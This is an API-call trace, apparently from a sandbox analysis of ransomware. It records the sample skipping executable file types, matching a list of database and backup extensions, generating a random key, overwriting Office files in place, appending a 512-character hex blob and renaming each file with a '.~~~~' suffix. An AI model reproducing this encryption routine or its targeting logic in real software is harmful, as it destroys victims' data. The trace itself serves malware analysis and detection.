	[0143.193] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.193] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.193] CloseHandle (hObject=0x104) returned 1
	[0143.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b09d0
	[0143.193] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46f.gif.~~~~")) returned 1
	[0143.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0143.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0143.196] GetLastError () returned 0x0
	[0143.196] RtlWakeConditionVariable () returned 0x0
	[0143.196] GetCurrentThreadId () returned 0x9cc
	[0143.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".scr") returned 0x0
	[0143.196] lstrlenW (lpString=".cmd") returned 4
	[0143.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".cmd") returned 0x0
	[0143.196] lstrlenW (lpString=".dll") returned 4
	[0143.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".dll") returned 0x0
	[0143.196] lstrlenW (lpString=".bat") returned 4
	[0143.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".bat") returned 0x0
	[0143.196] lstrlenW (lpString=".cpl") returned 4
	[0143.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".cpl") returned 0x0
	[0143.196] lstrlenW (lpString=".sys") returned 4
	[0143.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".sys") returned 0x0
	[0143.196] lstrlenW (lpString=".msc") returned 4
	[0143.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".msc") returned 0x0
	[0143.196] lstrlenW (lpString=".com") returned 4
	[0143.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".com") returned 0x0
	[0143.197] lstrlenW (lpString=".lnk") returned 4
	[0143.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".lnk") returned 0x0
	[0143.197] lstrlenW (lpString=".msp") returned 4
	[0143.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".msp") returned 0x0
	[0143.197] lstrlenW (lpString=".pif") returned 4
	[0143.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".pif") returned 0x0
	[0143.197] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0143.199] lstrlenW (lpString=".sqb") returned 4
	[0143.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".sqb") returned 0x0
	[0143.199] lstrlenW (lpString=".ost") returned 4
	[0143.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".ost") returned 0x0
	[0143.199] lstrlenW (lpString=".txt") returned 4
	[0143.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".txt") returned 0x0
	[0143.199] lstrlenW (lpString=".mdt") returned 4
	[0143.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".mdt") returned 0x0
	[0143.199] lstrlenW (lpString=".BDB") returned 4
	[0143.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".BDB") returned 0x0
	[0143.199] lstrlenW (lpString=".eql") returned 4
	[0143.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".eql") returned 0x0
	[0143.199] lstrlenW (lpString=".DBF") returned 4
	[0143.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".DBF") returned 0x0
	[0143.199] lstrlenW (lpString=".EQL") returned 4
	[0143.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".EQL") returned 0x0
	[0143.199] lstrlenW (lpString=".FDB") returned 4
	[0143.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".FDB") returned 0x0
	[0143.199] lstrlenW (lpString=".EDB") returned 4
	[0143.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".EDB") returned 0x0
	[0143.199] lstrlenW (lpString=".DACPAC") returned 7
	[0143.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.199] lstrlenW (lpString=".VHD") returned 4
	[0143.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".VHD") returned 0x0
	[0143.200] lstrlenW (lpString=".DBV") returned 4
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".DBV") returned 0x0
	[0143.200] lstrlenW (lpString=".dacpac") returned 7
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.200] lstrlenW (lpString=".sdf") returned 4
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".sdf") returned 0x0
	[0143.200] lstrlenW (lpString=".accdb") returned 6
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".accdb") returned 0x0
	[0143.200] lstrlenW (lpString=".DBX") returned 4
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".DBX") returned 0x0
	[0143.200] lstrlenW (lpString=".MDT") returned 4
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".MDT") returned 0x0
	[0143.200] lstrlenW (lpString=".SQB") returned 4
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".SQB") returned 0x0
	[0143.200] lstrlenW (lpString=".vhd") returned 4
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".vhd") returned 0x0
	[0143.200] lstrlenW (lpString=".bac") returned 4
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".bac") returned 0x0
	[0143.200] lstrlenW (lpString=".mdf") returned 4
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".mdf") returned 0x0
	[0143.200] lstrlenW (lpString=".BAK") returned 4
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".BAK") returned 0x0
	[0143.200] lstrlenW (lpString=".BAC") returned 4
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".BAC") returned 0x0
	[0143.200] lstrlenW (lpString=".dbs") returned 4
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".dbs") returned 0x0
	[0143.200] lstrlenW (lpString=".vhdx") returned 5
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.200] lstrlenW (lpString=".NDF") returned 4
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".NDF") returned 0x0
	[0143.200] lstrlenW (lpString=".dat") returned 4
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".dat") returned 0x0
	[0143.200] lstrlenW (lpString=".DBS") returned 4
	[0143.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".DBS") returned 0x0
	[0143.200] lstrlenW (lpString=".CKP") returned 4
	[0143.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".CKP") returned 0x0
	[0143.201] lstrlenW (lpString=".edb") returned 4
	[0143.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".edb") returned 0x0
	[0143.201] lstrlenW (lpString=".PST") returned 4
	[0143.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".PST") returned 0x0
	[0143.201] lstrlenW (lpString=".dbf") returned 4
	[0143.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".dbf") returned 0x0
	[0143.201] lstrlenW (lpString=".SQL") returned 4
	[0143.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".SQL") returned 0x0
	[0143.201] lstrlenW (lpString=".pst") returned 4
	[0143.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".pst") returned 0x0
	[0143.201] lstrlenW (lpString=".dbv") returned 4
	[0143.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".dbv") returned 0x0
	[0143.201] lstrlenW (lpString=".SDF") returned 4
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".SDF") returned 0x0
	[0143.202] lstrlenW (lpString=".dtxs") returned 5
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.202] lstrlenW (lpString=".db3") returned 4
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".db3") returned 0x0
	[0143.202] lstrlenW (lpString=".OST") returned 4
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".OST") returned 0x0
	[0143.202] lstrlenW (lpString=".dbx") returned 4
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".dbx") returned 0x0
	[0143.202] lstrlenW (lpString=".DB3") returned 4
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".DB3") returned 0x0
	[0143.202] lstrlenW (lpString=".DAT") returned 4
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".DAT") returned 0x0
	[0143.202] lstrlenW (lpString=".VHDX") returned 5
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.202] lstrlenW (lpString=".ndf") returned 4
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".ndf") returned 0x0
	[0143.202] lstrlenW (lpString=".DB") returned 3
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".DB") returned 0x0
	[0143.202] lstrlenW (lpString=".sql") returned 4
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".sql") returned 0x0
	[0143.202] lstrlenW (lpString=".MYD") returned 4
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".MYD") returned 0x0
	[0143.202] lstrlenW (lpString=".DBT") returned 4
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".DBT") returned 0x0
	[0143.202] lstrlenW (lpString=".ACCDB") returned 6
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.202] lstrlenW (lpString=".fdb") returned 4
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".fdb") returned 0x0
	[0143.202] lstrlenW (lpString=".bak") returned 4
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".bak") returned 0x0
	[0143.202] lstrlenW (lpString=".myd") returned 4
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".myd") returned 0x0
	[0143.202] lstrlenW (lpString=".DTXS") returned 5
	[0143.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.203] lstrlenW (lpString=".ckp") returned 4
	[0143.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".ckp") returned 0x0
	[0143.203] lstrlenW (lpString=".dbt") returned 4
	[0143.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".dbt") returned 0x0
	[0143.203] lstrlenW (lpString=".db") returned 3
	[0143.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".db") returned 0x0
	[0143.203] lstrlenW (lpString=".TXT") returned 4
	[0143.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".TXT") returned 0x0
	[0143.203] lstrlenW (lpString=".MDF") returned 4
	[0143.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".MDF") returned 0x0
	[0143.203] lstrlenW (lpString=".bdb") returned 4
	[0143.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".bdb") returned 0x0
	[0143.203] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0143.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.203] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0143.204] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.204] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0143.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0143.205] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26319470929) returned 1
	[0143.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbec3a970, dwHighDateTime=0x1d60e1e)) 
	[0143.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0143.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0143.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0143.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5508
	[0143.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5508 | out: hHeap=0x300000) returned 1
	[0143.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab2b8
	[0143.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab2b8 | out: hHeap=0x300000) returned 1
	[0143.205] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0143.205] GetLastError () returned 0x0
	[0143.206] GetLastError () returned 0x0
	[0143.206] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0143.206] GetLastError () returned 0x0
	[0143.206] GetLastError () returned 0x0
	[0143.206] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x7517, lpOverlapped=0x0) returned 1
	[0143.471] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffff8ae9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.471] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x7517, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x7517, lpOverlapped=0x0) returned 1
	[0143.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0143.471] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.471] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.472] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.472] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.472] CloseHandle (hObject=0x104) returned 1
	[0143.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab210
	[0143.472] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47b.gif.~~~~")) returned 1
	[0143.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab210 | out: hHeap=0x300000) returned 1
	[0143.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0143.554] GetLastError () returned 0x0
	[0143.554] RtlWakeConditionVariable () returned 0x0
	[0143.554] GetCurrentThreadId () returned 0x9cc
	[0143.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".scr") returned 0x0
	[0143.554] lstrlenW (lpString=".cmd") returned 4
	[0143.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".cmd") returned 0x0
	[0143.554] lstrlenW (lpString=".dll") returned 4
	[0143.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".dll") returned 0x0
	[0143.555] lstrlenW (lpString=".bat") returned 4
	[0143.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".bat") returned 0x0
	[0143.555] lstrlenW (lpString=".cpl") returned 4
	[0143.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".cpl") returned 0x0
	[0143.555] lstrlenW (lpString=".sys") returned 4
	[0143.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".sys") returned 0x0
	[0143.555] lstrlenW (lpString=".msc") returned 4
	[0143.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".msc") returned 0x0
	[0143.555] lstrlenW (lpString=".com") returned 4
	[0143.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".com") returned 0x0
	[0143.555] lstrlenW (lpString=".lnk") returned 4
	[0143.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".lnk") returned 0x0
	[0143.555] lstrlenW (lpString=".msp") returned 4
	[0143.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", lpSrch=".msp") returned 0x0
	[0143.555] lstrlenW (lpString=".pif") returned 4
